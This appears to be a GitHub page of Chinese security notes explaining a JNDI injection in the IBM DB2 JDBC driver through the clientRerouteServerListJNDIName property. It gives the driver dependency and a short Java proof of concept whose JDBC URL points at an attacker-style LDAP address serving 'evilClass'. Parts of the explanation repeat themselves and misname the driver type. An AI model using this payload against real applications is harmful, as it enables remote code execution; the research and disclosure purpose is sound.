Skip to content

Latest commit

 

History

History
30 lines (22 loc) · 943 Bytes

index.md

File metadata and controls

30 lines (22 loc) · 943 Bytes

IBM-DB2

在DB2中,Litch1发现这个clientRerouteServerListJNDINameIdentifies。

这是一个JNDI引用,指向一个DB2ClientRerouteServerList实例,在JNDI存储库中的 clientRerouteServerListJNDIName只适用于IBM Data Server Driver for JDBC和SQL Server。 ClientRerouteServerListJNDIName仅适用于IBM Data Server Driver for JDBC和SQLJ type 4连接,以及通过DataSource接口建立的连接。 通过DataSource接口建立的连接。

这意味着这个属性在JDBC URL配置中给了我们一个JNDI注入

依赖

<dependency>
  <groupId>com.ibm.db2</groupId>
  <artifactId>jcc</artifactId>
  <version>11.5.0.0</version>
</dependency>

简简单单

public static void main(String[] args) throws Exception {
    Class.forName("com.ibm.db2.jcc.DB2Driver");
    DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}